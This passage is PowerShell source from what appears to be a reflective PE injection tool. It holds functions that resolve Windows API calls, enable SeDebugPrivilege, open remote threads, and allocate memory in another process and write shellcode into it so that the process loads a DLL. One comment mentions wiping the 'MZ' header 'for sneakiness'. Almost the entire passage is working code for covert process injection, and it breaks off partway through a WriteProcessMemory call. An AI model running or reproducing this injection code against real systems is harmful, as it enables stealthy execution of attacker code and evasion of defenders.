$LookupPrivilegeValueDelegate) 703 | $Win32Functions | Add-Member -MemberType NoteProperty -Name LookupPrivilegeValue -Value $LookupPrivilegeValue 704 | 705 | $ImpersonateSelfAddr = Get-ProcAddress Advapi32.dll ImpersonateSelf 706 | $ImpersonateSelfDelegate = Get-DelegateType @([Int32]) ([Bool]) 707 | $ImpersonateSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateSelfAddr, $ImpersonateSelfDelegate) 708 | $Win32Functions | Add-Member -MemberType NoteProperty -Name ImpersonateSelf -Value $ImpersonateSelf 709 | 710 | # NtCreateThreadEx is only ever called on Vista and Win7. NtCreateThreadEx is not exported by ntdll.dll in Windows XP 711 | if (([Environment]::OSVersion.Version -ge (New-Object 'Version' 6,0)) -and ([Environment]::OSVersion.Version -lt (New-Object 'Version' 6,2))) { 712 | $NtCreateThreadExAddr = Get-ProcAddress NtDll.dll NtCreateThreadEx 713 | $NtCreateThreadExDelegate = Get-DelegateType @([IntPtr].MakeByRefType(), [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool], [UInt32], [UInt32], [UInt32], [IntPtr]) ([UInt32]) 714 | $NtCreateThreadEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NtCreateThreadExAddr, $NtCreateThreadExDelegate) 715 | $Win32Functions | Add-Member -MemberType NoteProperty -Name NtCreateThreadEx -Value $NtCreateThreadEx 716 | } 717 | 718 | $IsWow64ProcessAddr = Get-ProcAddress Kernel32.dll IsWow64Process 719 | $IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool]) 720 | $IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate) 721 | $Win32Functions | Add-Member -MemberType NoteProperty -Name IsWow64Process -Value $IsWow64Process 722 | 723 | $CreateThreadAddr = Get-ProcAddress Kernel32.dll CreateThread 724 | $CreateThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [IntPtr], [UInt32], [UInt32].MakeByRefType()) ([IntPtr]) 725 | $CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate) 726 | $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateThread -Value $CreateThread 727 | 728 | return $Win32Functions 729 | } 730 | ##################################### 731 | 732 | 733 | ##################################### 734 | ########### HELPERS ############ 735 | ##################################### 736 | 737 | #Powershell only does signed arithmetic, so if we want to calculate memory addresses we have to use this function 738 | #This will add signed integers as if they were unsigned integers so we can accurately calculate memory addresses 739 | Function Sub-SignedIntAsUnsigned 740 | { 741 | Param( 742 | [Parameter(Position = 0, Mandatory = $true)] 743 | [Int64] 744 | $Value1, 745 | 746 | [Parameter(Position = 1, Mandatory = $true)] 747 | [Int64] 748 | $Value2 749 | ) 750 | 751 | [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) 752 | [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) 753 | [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0) 754 | 755 | if ($Value1Bytes.Count -eq $Value2Bytes.Count) 756 | { 757 | $CarryOver = 0 758 | for ($i = 0; $i -lt $Value1Bytes.Count; $i++) 759 | { 760 | $Val = $Value1Bytes[$i] - $CarryOver 761 | #Sub bytes 762 | if ($Val -lt $Value2Bytes[$i]) 763 | { 764 | $Val += 256 765 | $CarryOver = 1 766 | } 767 | else 768 | { 769 | $CarryOver = 0 770 | } 771 | 772 | 773 | [UInt16]$Sum = $Val - $Value2Bytes[$i] 774 | 775 | $FinalBytes[$i] = $Sum -band 0x00FF 776 | } 777 | } 778 | else 779 | { 780 | Throw "Cannot subtract bytearrays of different sizes" 781 | } 782 | 783 | return [BitConverter]::ToInt64($FinalBytes, 0) 784 | } 785 | 786 | 787 | Function Add-SignedIntAsUnsigned 788 | { 789 | Param( 790 | [Parameter(Position = 0, Mandatory = $true)] 791 | [Int64] 792 | $Value1, 793 | 794 | [Parameter(Position = 1, Mandatory = $true)] 795 | [Int64] 796 | $Value2 797 | ) 798 | 799 | [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) 800 | [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) 801 | [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0) 802 | 803 | if ($Value1Bytes.Count -eq $Value2Bytes.Count) 804 | { 805 | $CarryOver = 0 806 | for ($i = 0; $i -lt $Value1Bytes.Count; $i++) 807 | { 808 | #Add bytes 809 | [UInt16]$Sum = $Value1Bytes[$i] + $Value2Bytes[$i] + $CarryOver 810 | 811 | $FinalBytes[$i] = $Sum -band 0x00FF 812 | 813 | if (($Sum -band 0xFF00) -eq 0x100) 814 | { 815 | $CarryOver = 1 816 | } 817 | else 818 | { 819 | $CarryOver = 0 820 | } 821 | } 822 | } 823 | else 824 | { 825 | Throw "Cannot add bytearrays of different sizes" 826 | } 827 | 828 | return [BitConverter]::ToInt64($FinalBytes, 0) 829 | } 830 | 831 | 832 | Function Compare-Val1GreaterThanVal2AsUInt 833 | { 834 | Param( 835 | [Parameter(Position = 0, Mandatory = $true)] 836 | [Int64] 837 | $Value1, 838 | 839 | [Parameter(Position = 1, Mandatory = $true)] 840 | [Int64] 841 | $Value2 842 | ) 843 | 844 | [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) 845 | [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) 846 | 847 | if ($Value1Bytes.Count -eq $Value2Bytes.Count) 848 | { 849 | for ($i = $Value1Bytes.Count-1; $i -ge 0; $i--) 850 | { 851 | if ($Value1Bytes[$i] -gt $Value2Bytes[$i]) 852 | { 853 | return $true 854 | } 855 | elseif ($Value1Bytes[$i] -lt $Value2Bytes[$i]) 856 | { 857 | return $false 858 | } 859 | } 860 | } 861 | else 862 | { 863 | Throw "Cannot compare byte arrays of different size" 864 | } 865 | 866 | return $false 867 | } 868 | 869 | 870 | Function Convert-UIntToInt 871 | { 872 | Param( 873 | [Parameter(Position = 0, Mandatory = $true)] 874 | [UInt64] 875 | $Value 876 | ) 877 | 878 | [Byte[]]$ValueBytes = [BitConverter]::GetBytes($Value) 879 | return ([BitConverter]::ToInt64($ValueBytes, 0)) 880 | } 881 | 882 | 883 | Function Get-Hex 884 | { 885 | Param( 886 | [Parameter(Position = 0, Mandatory = $true)] 887 | $Value #We will determine the type dynamically 888 | ) 889 | 890 | $ValueSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Value.GetType()) * 2 891 | $Hex = "0x{0:X$($ValueSize)}" -f [Int64]$Value #Passing a IntPtr to this doesn't work well. Cast to Int64 first. 892 | 893 | return $Hex 894 | } 895 | 896 | 897 | Function Test-MemoryRangeValid 898 | { 899 | Param( 900 | [Parameter(Position = 0, Mandatory = $true)] 901 | [String] 902 | $DebugString, 903 | 904 | [Parameter(Position = 1, Mandatory = $true)] 905 | [System.Object] 906 | $PEInfo, 907 | 908 | [Parameter(Position = 2, Mandatory = $true)] 909 | [IntPtr] 910 | $StartAddress, 911 | 912 | [Parameter(ParameterSetName = "Size", Position = 3, Mandatory = $true)] 913 | [IntPtr] 914 | $Size 915 | ) 916 | 917 | [IntPtr]$FinalEndAddress = [IntPtr](Add-SignedIntAsUnsigned ($StartAddress) ($Size)) 918 | 919 | $PEEndAddress = $PEInfo.EndAddress 920 | 921 | if ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.PEHandle) ($StartAddress)) -eq $true) 922 | { 923 | Throw "Trying to write to memory smaller than allocated address range. $DebugString" 924 | } 925 | if ((Compare-Val1GreaterThanVal2AsUInt ($FinalEndAddress) ($PEEndAddress)) -eq $true) 926 | { 927 | Throw "Trying to write to memory greater than allocated address range. $DebugString" 928 | } 929 | } 930 | 931 | 932 | Function Write-BytesToMemory 933 | { 934 | Param( 935 | [Parameter(Position=0, Mandatory = $true)] 936 | [Byte[]] 937 | $Bytes, 938 | 939 | [Parameter(Position=1, Mandatory = $true)] 940 | [IntPtr] 941 | $MemoryAddress 942 | ) 943 | 944 | for ($Offset = 0; $Offset -lt $Bytes.Length; $Offset++) 945 | { 946 | [System.Runtime.InteropServices.Marshal]::WriteByte($MemoryAddress, $Offset, $Bytes[$Offset]) 947 | } 948 | } 949 | 950 | 951 | #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ 952 | Function Get-DelegateType 953 | { 954 | Param 955 | ( 956 | [OutputType([Type])] 957 | 958 | [Parameter( Position = 0)] 959 | [Type[]] 960 | $Parameters = (New-Object Type[](0)), 961 | 962 | [Parameter( Position = 1 )] 963 | [Type] 964 | $ReturnType = [Void] 965 | ) 966 | 967 | $Domain = [AppDomain]::CurrentDomain 968 | $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') 969 | $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) 970 | $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) 971 | $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) 972 | $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) 973 | $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') 974 | $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) 975 | $MethodBuilder.SetImplementationFlags('Runtime, Managed') 976 | 977 | Write-Output $TypeBuilder.CreateType() 978 | } 979 | 980 | 981 | #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ 982 | Function Get-ProcAddress 983 | { 984 | Param 985 | ( 986 | [OutputType([IntPtr])] 987 | 988 | [Parameter( Position = 0, Mandatory = $True )] 989 | [String] 990 | $Module, 991 | 992 | [Parameter( Position = 1, Mandatory = $True )] 993 | [String] 994 | $Procedure 995 | ) 996 | 997 | # Get a reference to System.dll in the GAC 998 | $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | 999 | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } 1000 | $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') 1001 | # Get a reference to the GetModuleHandle and GetProcAddress methods 1002 | $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') 1003 | $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') 1004 | # Get a handle to the module specified 1005 | $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) 1006 | $tmpPtr = New-Object IntPtr 1007 | $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) 1008 | 1009 | # Return the address of the function 1010 | Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) 1011 | } 1012 | 1013 | 1014 | Function Enable-SeDebugPrivilege 1015 | { 1016 | Param( 1017 | [Parameter(Position = 1, Mandatory = $true)] 1018 | [System.Object] 1019 | $Win32Functions, 1020 | 1021 | [Parameter(Position = 2, Mandatory = $true)] 1022 | [System.Object] 1023 | $Win32Types, 1024 | 1025 | [Parameter(Position = 3, Mandatory = $true)] 1026 | [System.Object] 1027 | $Win32Constants 1028 | ) 1029 | 1030 | [IntPtr]$ThreadHandle = $Win32Functions.GetCurrentThread.Invoke() 1031 | if ($ThreadHandle -eq [IntPtr]::Zero) 1032 | { 1033 | Throw "Unable to get the handle to the current thread" 1034 | } 1035 | 1036 | [IntPtr]$ThreadToken = [IntPtr]::Zero 1037 | [Bool]$Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) 1038 | if ($Result -eq $false) 1039 | { 1040 | $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() 1041 | if ($ErrorCode -eq $Win32Constants.ERROR_NO_TOKEN) 1042 | { 1043 | $Result = $Win32Functions.ImpersonateSelf.Invoke(3) 1044 | if ($Result -eq $false) 1045 | { 1046 | Throw "Unable to impersonate self" 1047 | } 1048 | 1049 | $Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) 1050 | if ($Result -eq $false) 1051 | { 1052 | Throw "Unable to OpenThreadToken." 1053 | } 1054 | } 1055 | else 1056 | { 1057 | Throw "Unable to OpenThreadToken. Error code: $ErrorCode" 1058 | } 1059 | } 1060 | 1061 | [IntPtr]$PLuid = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.LUID)) 1062 | $Result = $Win32Functions.LookupPrivilegeValue.Invoke($null, "SeDebugPrivilege", $PLuid) 1063 | if ($Result -eq $false) 1064 | { 1065 | Throw "Unable to call LookupPrivilegeValue" 1066 | } 1067 | 1068 | [UInt32]$TokenPrivSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.TOKEN_PRIVILEGES) 1069 | [IntPtr]$TokenPrivilegesMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivSize) 1070 | $TokenPrivileges = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesMem, [Type]$Win32Types.TOKEN_PRIVILEGES) 1071 | $TokenPrivileges.PrivilegeCount = 1 1072 | $TokenPrivileges.Privileges.Luid = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PLuid, [Type]$Win32Types.LUID) 1073 | $TokenPrivileges.Privileges.Attributes = $Win32Constants.SE_PRIVILEGE_ENABLED 1074 | [System.Runtime.InteropServices.Marshal]::StructureToPtr($TokenPrivileges, $TokenPrivilegesMem, $true) 1075 | 1076 | $Result = $Win32Functions.AdjustTokenPrivileges.Invoke($ThreadToken, $false, $TokenPrivilegesMem, $TokenPrivSize, [IntPtr]::Zero, [IntPtr]::Zero) 1077 | $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() #Need this to get success value or failure value 1078 | if (($Result -eq $false) -or ($ErrorCode -ne 0)) 1079 | { 1080 | #Throw "Unable to call AdjustTokenPrivileges. Return value: $Result, Errorcode: $ErrorCode" #todo need to detect if already set 1081 | } 1082 | 1083 | [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesMem) 1084 | } 1085 | 1086 | 1087 | Function Create-RemoteThread 1088 | { 1089 | Param( 1090 | [Parameter(Position = 1, Mandatory = $true)] 1091 | [IntPtr] 1092 | $ProcessHandle, 1093 | 1094 | [Parameter(Position = 2, Mandatory = $true)] 1095 | [IntPtr] 1096 | $StartAddress, 1097 | 1098 | [Parameter(Position = 3, Mandatory = $false)] 1099 | [IntPtr] 1100 | $ArgumentPtr = [IntPtr]::Zero, 1101 | 1102 | [Parameter(Position = 4, Mandatory = $true)] 1103 | [System.Object] 1104 | $Win32Functions 1105 | ) 1106 | 1107 | [IntPtr]$RemoteThreadHandle = [IntPtr]::Zero 1108 | 1109 | $OSVersion = [Environment]::OSVersion.Version 1110 | #Vista and Win7 1111 | if (($OSVersion -ge (New-Object 'Version' 6,0)) -and ($OSVersion -lt (New-Object 'Version' 6,2))) 1112 | { 1113 | #Write-Verbose "Windows Vista/7 detected, using NtCreateThreadEx. Address of thread: $StartAddress" 1114 | $RetVal= $Win32Functions.NtCreateThreadEx.Invoke([Ref]$RemoteThreadHandle, 0x1FFFFF, [IntPtr]::Zero, $ProcessHandle, $StartAddress, $ArgumentPtr, $false, 0, 0xffff, 0xffff, [IntPtr]::Zero) 1115 | $LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() 1116 | if ($RemoteThreadHandle -eq [IntPtr]::Zero) 1117 | { 1118 | Throw "Error in NtCreateThreadEx. Return value: $RetVal. LastError: $LastError" 1119 | } 1120 | } 1121 | #XP/Win8 1122 | else 1123 | { 1124 | #Write-Verbose "Windows XP/8 detected, using CreateRemoteThread. Address of thread: $StartAddress" 1125 | $RemoteThreadHandle = $Win32Functions.CreateRemoteThread.Invoke($ProcessHandle, [IntPtr]::Zero, [UIntPtr][UInt64]0xFFFF, $StartAddress, $ArgumentPtr, 0, [IntPtr]::Zero) 1126 | } 1127 | 1128 | if ($RemoteThreadHandle -eq [IntPtr]::Zero) 1129 | { 1130 | Write-Error "Error creating remote thread, thread handle is null" -ErrorAction Stop 1131 | } 1132 | 1133 | return $RemoteThreadHandle 1134 | } 1135 | 1136 | 1137 | 1138 | Function Get-ImageNtHeaders 1139 | { 1140 | Param( 1141 | [Parameter(Position = 0, Mandatory = $true)] 1142 | [IntPtr] 1143 | $PEHandle, 1144 | 1145 | [Parameter(Position = 1, Mandatory = $true)] 1146 | [System.Object] 1147 | $Win32Types 1148 | ) 1149 | 1150 | $NtHeadersInfo = New-Object System.Object 1151 | 1152 | #Normally would validate DOSHeader here, but we did it before this function was called and then destroyed 'MZ' for sneakiness 1153 | $dosHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PEHandle, [Type]$Win32Types.IMAGE_DOS_HEADER) 1154 | 1155 | #Get IMAGE_NT_HEADERS 1156 | [IntPtr]$NtHeadersPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEHandle) ([Int64][UInt64]$dosHeader.e_lfanew)) 1157 | $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value $NtHeadersPtr 1158 | $imageNtHeaders64 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS64) 1159 | 1160 | #Make sure the IMAGE_NT_HEADERS checks out. If it doesn't, the data structure is invalid. This should never happen. 1161 | if ($imageNtHeaders64.Signature -ne 0x00004550) 1162 | { 1163 | throw "Invalid IMAGE_NT_HEADER signature." 1164 | } 1165 | 1166 | if ($imageNtHeaders64.OptionalHeader.Magic -eq 'IMAGE_NT_OPTIONAL_HDR64_MAGIC') 1167 | { 1168 | $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders64 1169 | $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $true 1170 | } 1171 | else 1172 | { 1173 | $ImageNtHeaders32 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS32) 1174 | $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders32 1175 | $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $false 1176 | } 1177 | 1178 | return $NtHeadersInfo 1179 | } 1180 | 1181 | 1182 | #This function will get the information needed to allocated space in memory for the PE 1183 | Function Get-PEBasicInfo 1184 | { 1185 | Param( 1186 | [Parameter( Position = 0, Mandatory = $true )] 1187 | [Byte[]] 1188 | $PEBytes, 1189 | 1190 | [Parameter(Position = 1, Mandatory = $true)] 1191 | [System.Object] 1192 | $Win32Types 1193 | ) 1194 | 1195 | $PEInfo = New-Object System.Object 1196 | 1197 | #Write the PE to memory temporarily so I can get information from it. This is not it's final resting spot. 1198 | [IntPtr]$UnmanagedPEBytes = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PEBytes.Length) 1199 | [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $UnmanagedPEBytes, $PEBytes.Length) | Out-Null 1200 | 1201 | #Get NtHeadersInfo 1202 | $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $UnmanagedPEBytes -Win32Types $Win32Types 1203 | 1204 | #Build a structure with the information which will be needed for allocating memory and writing the PE to memory 1205 | $PEInfo | Add-Member -MemberType NoteProperty -Name 'PE64Bit' -Value ($NtHeadersInfo.PE64Bit) 1206 | $PEInfo | Add-Member -MemberType NoteProperty -Name 'OriginalImageBase' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.ImageBase) 1207 | $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage) 1208 | $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfHeaders' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfHeaders) 1209 | $PEInfo | Add-Member -MemberType NoteProperty -Name 'DllCharacteristics' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.DllCharacteristics) 1210 | 1211 | #Free the memory allocated above, this isn't where we allocate the PE to memory 1212 | [System.Runtime.InteropServices.Marshal]::FreeHGlobal($UnmanagedPEBytes) 1213 | 1214 | return $PEInfo 1215 | } 1216 | 1217 | 1218 | #PEInfo must contain the following NoteProperties: 1219 | # PEHandle: An IntPtr to the address the PE is loaded to in memory 1220 | Function Get-PEDetailedInfo 1221 | { 1222 | Param( 1223 | [Parameter( Position = 0, Mandatory = $true)] 1224 | [IntPtr] 1225 | $PEHandle, 1226 | 1227 | [Parameter(Position = 1, Mandatory = $true)] 1228 | [System.Object] 1229 | $Win32Types, 1230 | 1231 | [Parameter(Position = 2, Mandatory = $true)] 1232 | [System.Object] 1233 | $Win32Constants 1234 | ) 1235 | 1236 | if ($PEHandle -eq $null -or $PEHandle -eq [IntPtr]::Zero) 1237 | { 1238 | throw 'PEHandle is null or IntPtr.Zero' 1239 | } 1240 | 1241 | $PEInfo = New-Object System.Object 1242 | 1243 | #Get NtHeaders information 1244 | $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $PEHandle -Win32Types $Win32Types 1245 | 1246 | #Build the PEInfo object 1247 | $PEInfo | Add-Member -MemberType NoteProperty -Name PEHandle -Value $PEHandle 1248 | $PEInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value ($NtHeadersInfo.IMAGE_NT_HEADERS) 1249 | $PEInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value ($NtHeadersInfo.NtHeadersPtr) 1250 | $PEInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value ($NtHeadersInfo.PE64Bit) 1251 | $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage) 1252 | 1253 | if ($PEInfo.PE64Bit -eq $true) 1254 | { 1255 | [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS64))) 1256 | $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr 1257 | } 1258 | else 1259 | { 1260 | [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS32))) 1261 | $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr 1262 | } 1263 | 1264 | if (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_DLL) -eq $Win32Constants.IMAGE_FILE_DLL) 1265 | { 1266 | $PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'DLL' 1267 | } 1268 | elseif (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE) -eq $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE) 1269 | { 1270 | $PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'EXE' 1271 | } 1272 | else 1273 | { 1274 | Throw "PE file is not an EXE or DLL" 1275 | } 1276 | 1277 | return $PEInfo 1278 | } 1279 | 1280 | 1281 | Function Import-DllInRemoteProcess 1282 | { 1283 | Param( 1284 | [Parameter(Position=0, Mandatory=$true)] 1285 | [IntPtr] 1286 | $RemoteProcHandle, 1287 | 1288 | [Parameter(Position=1, Mandatory=$true)] 1289 | [IntPtr] 1290 | $ImportDllPathPtr 1291 | ) 1292 | 1293 | $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) 1294 | 1295 | $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr) 1296 | $DllPathSize = [UIntPtr][UInt64]([UInt64]$ImportDllPath.Length + 1) 1297 | $RImportDllPathPtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) 1298 | if ($RImportDllPathPtr -eq [IntPtr]::Zero) 1299 | { 1300 | Throw "Unable to allocate memory in the remote process" 1301 | } 1302 | 1303 | [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero 1304 | $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RImportDllPathPtr, $ImportDllPathPtr, $DllPathSize, [Ref]$NumBytesWritten) 1305 | 1306 | if ($Success -eq $false) 1307 | { 1308 | Throw "Unable to write DLL path to remote process memory" 1309 | } 1310 | if ($DllPathSize -ne $NumBytesWritten) 1311 | { 1312 | Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process" 1313 | } 1314 | 1315 | $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") 1316 | $LoadLibraryAAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "LoadLibraryA") #Kernel32 loaded to the same address for all processes 1317 | 1318 | [IntPtr]$DllAddress = [IntPtr]::Zero 1319 | #For 64bit DLL's, we can't use just CreateRemoteThread to call LoadLibrary because GetExitCodeThread will only give back a 32bit value, but we need a 64bit address 1320 | # Instead, write shellcode while calls LoadLibrary and writes the result to a memory address we specify. Then read from that memory once the thread finishes. 1321 | if ($PEInfo.PE64Bit -eq $true) 1322 | { 1323 | #Allocate memory for the address returned by LoadLibraryA 1324 | $LoadLibraryARetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) 1325 | if ($LoadLibraryARetMem -eq [IntPtr]::Zero) 1326 | { 1327 | Throw "Unable to allocate memory in the remote process for the return value of LoadLibraryA" 1328 | } 1329 | 1330 | 1331 | #Write Shellcode to the remote process which will call LoadLibraryA (Shellcode: LoadLibraryA.asm) 1332 | $LoadLibrarySC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9) 1333 | $LoadLibrarySC2 = @(0x48, 0xba) 1334 | $LoadLibrarySC3 = @(0xff, 0xd2, 0x48, 0xba) 1335 | $LoadLibrarySC4 = @(0x48, 0x89, 0x02, 0x48, 0x89, 0xdc, 0x5b, 0xc3) 1336 | 1337 | $SCLength = $LoadLibrarySC1.Length + $LoadLibrarySC2.Length + $LoadLibrarySC3.Length + $LoadLibrarySC4.Length + ($PtrSize * 3) 1338 | $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) 1339 | $SCPSMemOriginal = $SCPSMem 1340 | 1341 | Write-BytesToMemory -Bytes $LoadLibrarySC1 -MemoryAddress $SCPSMem 1342 | $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC1.Length) 1343 | [System.Runtime.InteropServices.Marshal]::StructureToPtr($RImportDllPathPtr, $SCPSMem, $false) 1344 | $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) 1345 | Write-BytesToMemory -Bytes $LoadLibrarySC2 -MemoryAddress $SCPSMem 1346 | $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC2.Length) 1347 | [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryAAddr, $SCPSMem, $false) 1348 | $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) 1349 | Write-BytesToMemory -Bytes $LoadLibrarySC3 -MemoryAddress $SCPSMem 1350 | $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC3.Length) 1351 | [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryARetMem, $SCPSMem, $false) 1352 | $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) 1353 | Write-BytesToMemory -Bytes $LoadLibrarySC4 -MemoryAddress $SCPSMem 1354 | $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC4.Length) 1355 | 1356 | 1357 | $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) 1358 | if ($RSCAddr -eq [IntPtr]::Zero) 1359 | { 1360 | Throw "Unable to allocate memory in the remote process for shellcode" 1361 | } 1362 | 1363 | $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, 